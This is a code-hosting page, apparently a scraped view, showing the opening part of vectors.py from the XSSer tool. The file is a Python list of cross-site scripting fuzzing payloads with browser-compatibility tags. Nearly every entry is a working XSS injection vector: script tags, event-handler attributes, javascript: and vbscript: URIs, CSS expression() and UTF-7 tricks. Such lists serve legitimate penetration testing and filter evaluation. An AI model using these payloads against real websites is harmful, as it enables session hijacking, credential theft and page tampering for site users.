Главная Обзор Помощь
Вход
epsylon
/
xsser
Следить 1
В избранное 0
Ответвить 0
Файлы Обсуждения 0 Запросы на слияние 0
Дерево: 28334db377
Ветки Метки
xsser
/
core
/
fuzzing
/
vectors.py

vectors.py 169 KB
История Исходник

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485486487488489490491492493494495496497498499500501502503504505506507508509510511512513514515516517518519520521522523524525526527528529530531532533534535536537538539540541542543544545546547548549550551552553554555556557558559560561562563564565566567568569570571572573574575576577578579580581582583584585586587588589590591592593594595596597598599600601602603604605606607608609610611612613614615616617618619620621622623624625626627628629630631632633634635636637638639640641642643644645646647648649650651652653654655656657658659660661662663664665666667668669670671672673674675676677678679680681682683684685686687688689690691692693694695696697698699700701702703704705706707708709710711712713714715716717718719720721722723724725726727728729730731732733734735736737738739740741742743744745746747748749750751752753754755756757758759760761762763764765766767768769770771772773774775776777778779780781782783784785786787788789790791792793794795796797798799800801802803804805806807808809810811812813814815816817818819820821822823824825826827828829830831832833834835836837838839840841842843844845846847848849850851852853854855856857858859860861862863864865866867868869870871872873874875876877878879880881882883884885886887888889890891892893894895896897898899900901902903904905906907908909910911912913914915916917918919920921922923924925926927928929930931932933934935936937938939940941942943944945946947948949950951952953954955956957958959960961962963964965966967968969970971972973974975976977978979980981982983984985986987988989990991992993994995996997998999100010011002100310041005100610071008100910101011101210131014101510161017101810191020102110221023102410251026102710281029103010311032103310341035103610371038103910401041104210431044104510461047104810491050105110521053105410551056105710581059106010611062106310641065106610671068106910701071107210731074107510761077107810791080108110821083108410851086108710881089109010911092109310941095109610971098109911001101110211031104110511061107110811091110111111121113111411151116111711181119112011211122112311241125112611271128112911301131113211331134113511361137113811391140114111421143114411451146114711481149115011511152115311541155115611571158115911601161116211631164116511661167116811691170117111721173117411751176117711781179118011811182118311841185118611871188118911901191119211931194119511961197119811991200120112021203120412051206120712081209121012111212121312141215121612171218121912201221122212231224122512261227122812291230123112321233123412351236123712381239124012411242124312441245124612471248124912501251125212531254125512561257125812591260126112621263126412651266126712681269127012711272127312741275127612771278127912801281128212831284128512861287128812891290129112921293129412951296129712981299130013011302130313041305130613071308130913101311131213131314131513161317131813191320132113221323132413251326132713281329133013311332133313341335133613371338133913401341134213431344134513461347134813491350135113521353135413551356135713581359136013611362136313641365136613671368136913701371137213731374137513761377137813791380138113821383138413851386138713881389139013911392139313941395139613971398139914001401140214031404140514061407140814091410141114121413141414151416141714181419142014211422142314241425142614271428142914301431143214331434143514361437143814391440144114421443144414451446144714481449145014511452145314541455145614571458145914601461146214631464146514661467146814691470147114721473147414751476147714781479148014811482148314841485148614871488148914901491149214931494149514961497149814991500150115021503150415051506150715081509151015111512151315141515151615171518151915201521152215231524152515261527152815291530153115321533153415351536153715381539154015411542154315441545154615471548154915501551155215531554155515561557155815591560156115621563156415651566156715681569157015711572157315741575157615771578157915801581158215831584158515861587158815891590159115921593159415951596159715981599160016011602160316041605160616071608160916101611161216131614161516161617161816191620162116221623162416251626162716281629163016311632163316341635163616371638163916401641164216431644164516461647164816491650165116521653165416551656165716581659166016611662166316641665166616671668166916701671167216731674167516761677167816791680168116821683168416851686168716881689169016911692169316941695169616971698169917001701170217031704170517061707170817091710171117121713171417151716171717181719172017211722172317241725172617271728172917301731173217331734173517361737173817391740174117421743174417451746174717481749175017511752175317541755175617571758175917601761176217631764176517661767176817691770177117721773177417751776177717781779178017811782178317841785178617871788178917901791179217931794179517961797179817991800180118021803180418051806180718081809181018111812181318141815181618171818181918201821182218231824182518261827182818291830183118321833183418351836183718381839184018411842184318441845184618471848184918501851185218531854185518561857185818591860186118621863186418651866186718681869187018711872187318741875187618771878187918801881188218831884188518861887188818891890189118921893189418951896189718981899190019011902190319041905190619071908190919101911191219131914191519161917191819191920192119221923192419251926192719281929193019311932193319341935193619371938193919401941194219431944194519461947194819491950195119521953195419551956195719581959196019611962196319641965196619671968196919701971197219731974197519761977197819791980198119821983198419851986198719881989199019911992199319941995199619971998199920002001200220032004200520062007200820092010201120122013201420152016201720182019202020212022202320242025202620272028202920302031203220332034203520362037203820392040204120422043204420452046204720482049205020512052205320542055205620572058205920602061206220632064206520662067206820692070207120722073207420752076207720782079208020812082208320842085208620872088208920902091209220932094209520962097209820992100210121022103210421052106210721082109211021112112211321142115211621172118211921202121212221232124212521262127212821292130213121322133213421352136213721382139214021412142214321442145214621472148214921502151215221532154215521562157215821592160216121622163216421652166216721682169217021712172217321742175217621772178217921802181218221832184218521862187218821892190219121922193219421952196219721982199220022012202220322042205220622072208220922102211221222132214221522162217221822192220222122222223222422252226222722282229223022312232223322342235223622372238223922402241224222432244224522462247224822492250225122522253225422552256225722582259226022612262226322642265226622672268226922702271227222732274227522762277227822792280228122822283228422852286228722882289229022912292229322942295229622972298229923002301230223032304230523062307230823092310231123122313231423152316231723182319232023212322232323242325232623272328232923302331233223332334233523362337233823392340234123422343234423452346234723482349235023512352235323542355235623572358235923602361236223632364236523662367236823692370237123722373237423752376237723782379238023812382238323842385238623872388238923902391239223932394239523962397239823992400240124022403240424052406240724082409241024112412241324142415241624172418241924202421242224232424242524262427242824292430243124322433243424352436243724382439244024412442244324442445244624472448244924502451245224532454245524562457245824592460246124622463246424652466246724682469247024712472247324742475247624772478247924802481248224832484248524862487248824892490249124922493249424952496249724982499250025012502250325042505250625072508250925102511251225132514251525162517251825192520252125222523252425252526252725282529253025312532253325342535253625372538253925402541254225432544254525462547254825492550255125522553255425552556255725582559256025612562256325642565256625672568256925702571257225732574257525762577257825792580258125822583258425852586258725882589259025912592259325942595259625972598259926002601260226032604260526062607260826092610261126122613 
  1. #!/usr/bin/env python
    2. 

  2. # -*- coding: utf-8 -*-"
    3. 

  3. # vim: set expandtab tabstop=4 shiftwidth=4:
    4. 

  4. """
    5. 

  5. This file is part of the XSSer project, https://xsser.03c8.net
    6. 

  6. 

  7. Copyright (c) 2010/2019 | psy <epsylon@riseup.net>
    8. 

  8. 

  9. xsser is free software; you can redistribute it and/or modify it under
    10. 

  10. the terms of the GNU General Public License as published by the Free
    11. 

  11. Software Foundation version 3 of the License.
    12. 

  12. 

  13. xsser is distributed in the hope that it will be useful, but WITHOUT ANY
    14. 

  14. WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
    15. 

  15. FOR A PARTICULAR PURPOSE.  See the GNU General Public License for more
    16. 

  16. details.
    17. 

  17. 

  18. You should have received a copy of the GNU General Public License along
    19. 

  19. with xsser; if not, write to the Free Software Foundation, Inc., 51
    20. 

  20. Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
    21. 

  21. """
    22. 

  22. ## This file contains different XSS fuzzing vectors.
    23. 

  23. ## If you have some new, please email me to [epsylon@riseup.net]
    24. 

  24. ## Happy Cross Hacking! ;)
    25. 

  25. 

  26. vectors = [	{ 'payload':'''">PAYLOAD''',
    27. 

  27. 		  'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]"""},
    28. 

  28.         { 'payload':""""><SCRIPT>alert('PAYLOAD')</SCRIPT>""",
    29. 

  29.           'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]"""},	
    30. 

  30.         { 'payload':"""</TITLE>PAYLOAD""",
    31. 

  31. 	      'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]"""},
    32. 

  32. 		{ 'payload':""""><img src="x:x" onerror="PAYLOAD">""",
    33. 

  33. 		  'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]"""},		
    34. 

  34. 		{ 'payload':"""<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=PAYLOAD>""",
    35. 

  35. 		  'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]"""},
    36. 

  36. 		{ 'payload':"""'';!--"<PAYLOAD>=&{()}" """,
    37. 

  37. 		  'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]"""},	
    38. 

  38. 		{ 'payload':"""<IMG SRC="PAYLOAD">""",
    39. 

  39. 		  'browser':"""[IE6.0|NS8.1-IE] [O9.02]"""},
    40. 

  40. 		{ 'payload':"""<IMG SRC=PAYLOAD>""",
    41. 

  41.   		  'browser':"""[IE6.0|NS8.1-IE] [O9.02]"""},
    42. 

  42. 		{ 'payload':"""<IMG SRC=`PAYLOAD`>""",
    43. 

  43. 		  'browser':"""[IE6.0|NS8.1-IE]"""},
    44. 

  44. 		{ 'payload':"""<IMG '''>PAYLOAD'>""",
    45. 

  45. 		  'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]"""},
    46. 

  46. 		{ 'payload':"""<IMG SRC=" &#14;  PAYLOAD">""",
    47. 

  47. 	      'browser':"""[IE6.0|NS8.1-IE]"""},
    48. 

  48. 		{ 'payload':"""<DIV STYLE="behaviour: url(PAYLOAD);">""",
    49. 

  49. 		  'browser':"""[IE6.0|NS8.1-IE]"""},
    50. 

  50.         { 'payload':"""<<SCRIPT>PAYLOAD//<</SCRIPT>""",
    51. 

  51. 		  'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]"""},
    52. 

  52. 		{ 'payload':"""\";PAYLOAD//""",
    53. 

  53. 		  'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]"""},
    54. 

  54. 		{ 'payload':"""<IMG SRC='PAYLOAD'""",
    55. 

  55. 		  'browser':"""[IE6.0|NS8.1-IE] [O9.02]"""},
    56. 

  56. 		{ 'payload':"""<BODY BACKGROUND="PAYLOAD">""",
    57. 

  57. 		  'browser':"""[IE6.0|NS8.1-IE] [O9.02]"""},
    58. 

  58. 		{ 'payload':"""<INPUT TYPE="IMAGE" SRC="PAYLOAD">""",
    59. 

  59. 		  'browser':"""[IE6.0|NS8.1-IE] [O9.02]"""},
    60. 

  60.         { 'payload':"""<BODY ONLOAD=PAYLOAD>""",
    61. 

  61. 	      'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]"""},
    62. 

  62. 		{ 'payload':"""<IMG DYNSRC="PAYLOAD">""",
    63. 

  63. 		  'browser':"""[IE6.0|NS8.1-IE]"""},
    64. 

  64. 		{ 'payload':"""<IMG LOWSRC="PAYLOAD">""",
    65. 

  65. 		  'browser':"""[IE6.0|NS8.1-IE]"""},
    66. 

  66. 		{ 'payload':"""<BGSOUND SRC="PAYLOAD">""",
    67. 

  67. 	      'browser':"""[O9.02]"""},
    68. 

  68.         { 'payload':"""<BR SIZE="&{PAYLOAD}">""",
    69. 

  69. 		  'browser':"""[NS4]"""},
    70. 

  70. 		{ 'payload':"""<LINK REL="stylesheet" HREF="PAYLOAD">""",
    71. 

  71. 		  'browser':"""[IE6.0|NS8.1-IE] [O9.02]"""},
    72. 

  72. 		{ 'payload':"""<IMG SRC='vbscript:PAYLOAD'>""",
    73. 

  73. 	   	  'browser':"""[IE6.0|NS8.1-IE]"""},
    74. 

  74. 		{ 'payload':"""<IMG SRC="mocha:[PAYLOAD]">""",
    75. 

  75. 	   	  'browser':"""[NS4]"""},
    76. 

  76. 	 	{ 'payload':"""<IMG SRC="livescript:[PAYLOAD]">""",
    77. 

  77. 	  	  'browser':"""[NS4]"""},
    78. 

  78. 	 	{ 'payload':"""<META HTTP-EQUIV="refresh" CONTENT="0;url=PAYLOAD">""",
    79. 

  79. 	   	  'browser':"""[IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]"""},
    80. 

  80. 	 	{ 'payload':"""<TABLE BACKGROUND="PAYLOAD">""",
    81. 

  81. 	      'browser':"""[IE6.0|NS8.1-IE] [O9.02]"""},
    82. 

  82.         { 'payload':"""<TABLE BACKGROUND=javascript:PAYLOAD>""",
    83. 

  83.           'browser':"""[O9.02]"""},
    84. 

  84. 		{ 'payload':"""<TABLE><TD BACKGROUND="PAYLOAD">""",
    85. 

  85. 		  'browser':"""[IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]"""},
    86. 

  86. 		{ 'payload':"""<DIV STYLE="background-image: url(PAYLOAD);">""",
    87. 

  87. 		  'browser':"""[IE6.0|NS8.1-IE]"""},			  
    88. 

  88. 		{ 'payload':"""<DIV STYLE="width: expression(PAYLOAD);">""",
    89. 

  89. 		  'browser':"""[IE7.0|IE6.0|NS8.1-IE]"""},
    90. 

  90. 		{ 'payload':"""<IFRAME SRC="PAYLOAD"></IFRAME>""",
    91. 

  91. 		  'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]"""},
    92. 

  92.         { 'payload':"""<iframe/ /onload=PAYLOAD></iframe>""",
    93. 

  93.           'browser':"""Not Info"""},
    94. 

  94.         { 'payload':"""<iframe/ "onload=PAYLOAD></iframe>""",
    95. 

  95.           'browser':"""Not Info"""},
    96. 

  96.         { 'payload':"""<iframe///////onload=PAYLOAD></iframe>""",
    97. 

  97.           'browser':"""Not Info"""},
    98. 

  98.         { 'payload':"""<iframe "onload=PAYLOAD></iframe>""",
    99. 

  99.           'browser':"""Not Info"""},
    100. 

  100.         { 'payload':"""<iframe<?php echo chr(11)?> onload=PAYLOAD></iframe>""",
    101. 

  101.           'browser':"""Not Info"""},
    102. 

  102.         { 'payload':"""<iframe<?php echo chr(12)?> onload=PAYLOAD></iframe>""",
    103. 

  103.           'browser':"""Not Info"""},
    104. 

  104.    		{ 'payload':"""<FRAMESET><FRAME SRC="PAYLOAD"></FRAMESET>""",
    105. 

  105. 		  'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]"""},
    106. 

  106. 		{ 'payload':"""<TABLE BACKGROUND="PAYLOAD">""",
    107. 

  107. 		  'browser':"""[IE6.0|NS8.1-IE] [O9.02]"""},
    108. 

  108. 		{ 'payload':"""<TABLE><TD BACKGROUND="PAYLOAD">""",
    109. 

  109.   		  'browser':"""[IE6.0|NS8.1-IE] [O9.02]"""}, 			  
    110. 

  110. 		{ 'payload':"""<DIV STYLE="background-image: url(&#1;PAYLOAD)">""",
    111. 

  111. 		  'browser':"""[IE6.0|NS8.1-IE]"""},
    112. 

  112.    		{ 'payload':"""<DIV STYLE="width: expression(PAYLOAD);">""",
    113. 

  113. 		  'browser':"""[IE7.0|IE6.0|NS8.1-IE]"""},
    114. 

  114. 		{ 'payload':"""<IMG STYLE="X:expr/*X*/ession(PAYLOAD)">""",
    115. 

  115.   		  'browser':"""[IE7.0|IE6.0|NS8.1-IE]"""}, 
    116. 

  116. 		{ 'payload':"""<X STYLE="X:expression(PAYLOAD)">""",
    117. 

  117. 		  'browser':"""[IE7.0|IE6.0|NS8.1-IE]"""},			  
    118. 

  118.    		{ 'payload':"""<STYLE TYPE="text/javascript">PAYLOAD</STYLE>""",
    119. 

  119. 		  'browser':"""[NS4]"""},
    120. 

  120. 		{ 'payload':"""<STYLE>.X{background-image:url("PAYLOAD");}</STYLE><A CLASS=X></A>""",
    121. 

  121. 		  'browser':"""[IE6.0|NS8.1-IE]"""},
    122. 

  122. 		{ 'payload':"""<STYLE type="text/css">BODY{background:url("PAYLOAD")}</STYLE>""",
    123. 

  123.   		  'browser':"""[IE6.0|NS8.1-IE]"""}, 		  
    124. 

  124. 		{ 'payload':"""<!--[if gte IE 4]>PAYLOAD<![endif]-->""",
    125. 

  125. 		  'browser':"""[IE7.0|IE6.0|NS8.1-IE]"""},
    126. 

  126.    		{ 'payload':"""<BASE HREF="PAYLOAD//">""",
    127. 

  127. 		  'browser':"""[IE6.0|NS8.1-IE]"""},
    128. 

  128. 		{ 'payload':"""<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=PAYLOAD></OBJECT>""",
    129. 

  129. 		  'browser':"""[O9.02]"""},
    130. 

  130. 		{ 'payload':"""a="get";b="URL(\"";c="javascript:";d="PAYLOAD\")";eval(a+b+c+d);""",
    131. 

  131.   		  'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]"""}, 		  
    132. 

  132. 		{ 'payload':"""<? echo('<SCR)';echo('IPT>PAYLOAD</SCRIPT>'); ?>""",
    133. 

  133.   		  'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]"""}, 		  
    134. 

  134. 		{ 'payload':"""<META HTTP-EQUIV="Set-Cookie" Content="USERID=&lt;SCRIPT&gt;PAYLOAD&lt;/SCRIPT&gt;">""",
    135. 

  135. 		  'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]"""},	 
    136. 

  136. 		{ 'payload':"""<SCRIPT SRC=http://127.0.0.1>PAYLOAD</SCRIPT>""", 
    137. 

  137. 		  'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]"""},
    138. 

  138. 		{ 'payload':"""<IMG SRC="&14;javascript:PAYLOAD">""",
    139. 

  139. 		  'browser':"""[IE6.0|NS8.1-IE] [O9.02]"""},
    140. 

  140.         { 'payload':"""<IMG SRC="jav&#x0D;ascript:PAYLOAD">""",
    141. 

  141.           'browser':"""[IE6.0|NS8.1-IE] [O9.02]"""},
    142. 

  142.         { 'payload':"""--- <IMG SRC=" &#14;  PAYLOAD">""",
    143. 

  143.           'browser':"""[IE6.0|NS8.1-IE] [O9.02]"""},
    144. 

  144.         { 'payload':'''--- <IMG SRC="PAYLOAD"''',
    145. 

  145.           'browser':"""[IE6.0|NS8.1-IE] [09.02]"""},
    146. 

  146.         { 'payload':"""<SCRIPT>a=/PAYLOAD/alert(a.source)</SCRIPT>""",
    147. 

  147.           'browser':"""[Not Info]"""},
    148. 

  148.         { 'payload':'''--- \";PAYLOAD;//''',
    149. 

  149.           'browser':"""[Not Info]"""},
    150. 

  150.         { 'payload':'''<META HTTP-EQUIVo"refresh" CONTENT="0; URL=http://;URL=PAYLOAD">''',
    151. 

  151.           'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]"""},
    152. 

  152. 		{ 'payload':"""<SCRIPT <B>=PAYLOAD"></SCRIPT>""",
    153. 

  153. 		  'browser':"""[IE6.0|NS8.1-IE] [O9.02]"""},	 
    154. 

  154. 		{ 'payload':"""<IFRAME SRC="javascript:PAYLOAD <""",
    155. 

  155. 		  'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]"""},
    156. 

  156. 		{ 'payload':"""<SCRIPT>a=/X/nPAYLOAD</SCRIPT>""",
    157. 

  157. 		  'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]"""},
    158. 

  158. 		{ 'payload':"""<LAYER SRC="javascript:PAYLOAD></LAYER>""",
    159. 

  159. 		  'browser':"""[NS4]"""},
    160. 

  160. 		{ 'payload':"""<STYLE>li {list-style-image: url("PAYLOAD</STYLE><UL><LI>X""", 
    161. 

  161. 		  'browser':"""[IE6.0|NS8.1-IE]"""},
    162. 

  162. 		{ 'payload':"""<DIV STYLE="background-image: url(&#1;javascript:PAYLOAD">""",
    163. 

  163. 		  'browser':"""[IE6.0|NS8.1-IE]"""},
    164. 

  164. 		{ 'payload':"""<HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"></HEAD>+ADw-SCRIPT+AD4-PAYLOAD+ADw-/SCRIPT+AD4-""",
    165. 

  165. 		  'browser':"""[IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]"""},
    166. 

  166. 		{ 'payload':"""<a href="javascript#PAYLOAD">""",
    167. 

  167. 		  'browser':"""[IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]"""},
    168. 

  168. 		{ 'payload':"""<input type="image" dynsrc="PAYLOAD">""",
    169. 

  169. 		  'browser':"""[IE6.0|NS8.1-IE] [O9.02]"""},
    170. 

  170. 		{ 'payload':"""&PAYLOAD">""",
    171. 

  171. 		  'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]"""},
    172. 

  172. 		{ 'payload':"""&{PAYLOAD};""",
    173. 

  173. 		  'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]"""},
    174. 

  174. 		{ 'payload':"""<IMG SRC=&{PAYLOAD};>""",
    175. 

  175. 		  'browser':"""[IE6.0|NS8.1-IE] [O9.02]"""},
    176. 

  176. 		{ 'payload':"""<a href="about:PAYLOAD">""",
    177. 

  177. 		  'browser':"""[IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]"""},
    178. 

  178. 		{ 'payload':"""<DIV STYLE="binding: url(javascript:PAYLOAD);">""",
    179. 

  179. 		  'browser':"""[IE6.0|NS8.1-IE]"""},
    180. 

  180. 		{ 'payload':"""<OBJECT classid=clsid:..." codebase="javascript:PAYLOAD">""",
    181. 

  181. 		  'browser':"""[O9.02]"""},
    182. 

  182. 		{ 'payload':"""<style><!--</style><SCRIPT>PAYLOAD//--></SCRIPT>""",
    183. 

  183. 		  'browser':"""[IE6.0|NS8.1-IE]"""},
    184. 

  184. 		{ 'payload':"""![CDATA[<!--]]<SCRIPT>PAYLOAD//--></SCRIPT>""",
    185. 

  185. 		  'browser':"""[IE6.0|NS8.1-IE]"""},
    186. 

  186. 		{ 'payload':"""<!-- -- -->PAYLOAD<!-- -- -->""",
    187. 

  187. 		  'browser':"""[Not Info]"""},
    188. 

  188. 		{ 'payload':'''<xml id="X"><a><b>PAYLOAD;<b></a></xml>''',
    189. 

  189. 		  'browser':"""[IE6.0|NS8.1-IE]"""},
    190. 

  190. 		{ 'payload':'''<div datafld="b" dataformatas="html" datasrc="#PAYLOAD"></div>''',
    191. 

  191. 		  'browser':"""[IE]"""},
    192. 

  192. 		{ 'payload':'''<XML ID=I><X><C><![CDATA[<IMG SRC="javas]]<![CDATA[cript:PAYLOAD">]]</C><X></xml>''',
    193. 

  193. 		  'browser':"""[IE6.0|NS8.1-IE]"""},
    194. 

  194.         { 'payload':"""<script psy>/*<script* */alert(PAYLOAD)</script""",
    195. 

  195.           'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [Opera] [Chrome]"""},
    196. 

  196.  		{ 'payload':'''<img src=1 href=1 onerror="PAYLOAD"></img>''',
    197. 

  197.           'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [Opera] [Chrome]"""},
    198. 

  198.     	{ 'payload':'''<audio src=1 href=1 onerror="PAYLOAD"></audio>''',
    199. 

  199.           'browser':"""[HTML5 Injection]"""},
    200. 

  200.  		{ 'payload':'''<video src=1 href=1 onerror="PAYLOAD"></video>''',
    201. 

  201.           'browser':"""[HTML5 Injection]"""},
    202. 

  202.  		{ 'payload':'''<body src=1 href=1 onerror="PAYLOAD"></body>''',
    203. 

  203.           'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [Opera] [Chrome]"""},
    204. 

  204.  		{ 'payload':'''<image src=1 href=1 onerror="PAYLOAD"></image>''',
    205. 

  205.           'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [Opera] [Chrome]"""},
    206. 

  206.  		{ 'payload':'''<object src=1 href=1 onerror="PAYLOAD"></object>''',
    207. 

  207.           'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [Opera] [Chrome]"""},
    208. 

  208.  		{ 'payload':'''<script src=1 href=1 onerror="PAYLOAD"></script>''',
    209. 

  209.           'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [Opera] [Chrome]"""},
    210. 

  210.  		{ 'payload':'''<svg onResize svg onResize="javascript:PAYLOAD"></svg onResize>''',
    211. 

  211.           'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [Opera] [Chrome]"""},
    212. 

  212.  		{ 'payload':'''<title onPropertyChange title onPropertyChange="javascript:PAYLOAD"></title onPropertyChange>''',
    213. 

  213.           'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [Opera] [Chrome]"""},
    214. 

  214.  		{ 'payload':'''<iframe onLoad iframe onLoad="javascript:PAYLOAD"></iframe onLoad>''',
    215. 

  215.           'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [Opera] [Chrome]"""},
    216. 

  216.  		{ 'payload':'''<body onMouseEnter body onMouseEnter="javascript:PAYLOAD"></body onMouseEnter>''',
    217. 

  217.           'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [Opera] [Chrome]"""},
    218. 

  218.  		{ 'payload':'''<body onFocus body onFocus="javascript:PAYLOAD"></body onFocus>''',
    219. 

  219.           'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [Opera] [Chrome]"""},
    220. 

  220.  		{ 'payload':'''<frameset onScroll frameset onScroll="javascript:PAYLOAD"></frameset onScroll>''',
    221. 

  221.           'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [Opera] [Chrome]"""},
    222. 

  222.  		{ 'payload':'''<script onReadyStateChange script onReadyStateChange="javascript:PAYLOAD"></script onReadyStateChange>''',
    223. 

  223.           'browser':"""[IE] [Chrome]"""},
    224. 

  224.  		{ 'payload':'''<html onMouseUp html onMouseUp="javascript:PAYLOAD"></html onMouseUp>''',
    225. 

  225.           'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [Opera] [Chrome]"""},
    226. 

  226.  		{ 'payload':'''<body onPropertyChange body onPropertyChange="javascript:PAYLOAD"></body onPropertyChange>''',
    227. 

  227.           'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [Opera] [Chrome]"""},
    228. 

  228.  		{ 'payload':'''<svg onLoad svg onLoad="javascript:PAYLOAD"></svg onLoad>''',
    229. 

  229.           'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [Opera] [Chrome]"""},
    230. 

  230.  		{ 'payload':'''<body onPageHide body onPageHide="javascript:PAYLOAD"></body onPageHide>''',
    231. 

  231.           'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [Opera] [Chrome]"""},
    232. 

  232.  		{ 'payload':'''<body onMouseOver body onMouseOver="javascript:PAYLOAD"></body onMouseOver>''',
    233. 

  233.           'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [Opera] [Chrome]"""},
    234. 

  234.  		{ 'payload':'''<body onUnload body onUnload="javascript:PAYLOAD"></body onUnload>''',
    235. 

  235.           'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [Opera] [Chrome]"""},
    236. 

  236.  		{ 'payload':'''<body onLoad body onLoad="javascript:PAYLOAD"></body onLoad>''',
    237. 

  237.           'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [Opera] [Chrome]"""},
    238. 

  238.  		{ 'payload':'''<bgsound onPropertyChange bgsound onPropertyChange="javascript:PAYLOAD"></bgsound onPropertyChange>''',
    239. 

  239.           'browser':"""[HTML5 Injection]"""},
    240. 

  240.  		{ 'payload':'''<html onMouseLeave html onMouseLeave="javascript:PAYLOAD"></html onMouseLeave>''',
    241. 

  241.           'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [Opera] [Chrome]"""},
    242. 

  242.  		{ 'payload':'''<html onMouseWheel html onMouseWheel="javascript:PAYLOAD"></html onMouseWheel>''',
    243. 

  243.           'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [Opera] [Chrome]"""},
    244. 

  244.  		{ 'payload':'''<style onLoad style onLoad="javascript:PAYLOAD"></style onLoad>''',
    245. 

  245.           'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [Opera] [Chrome]"""},
    246. 

  246.  		{ 'payload':'''<iframe onReadyStateChange iframe onReadyStateChange="javascript:PAYLOAD"></iframe onReadyStateChange>''',
    247. 

  247.           'browser':"""[IE] [Chrome]"""},
    248. 

  248.  		{ 'payload':'''<body onPageShow body onPageShow="javascript:PAYLOAD"></body onPageShow>''',
    249. 

  249.           'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [Opera] [Chrome]"""},
    250. 

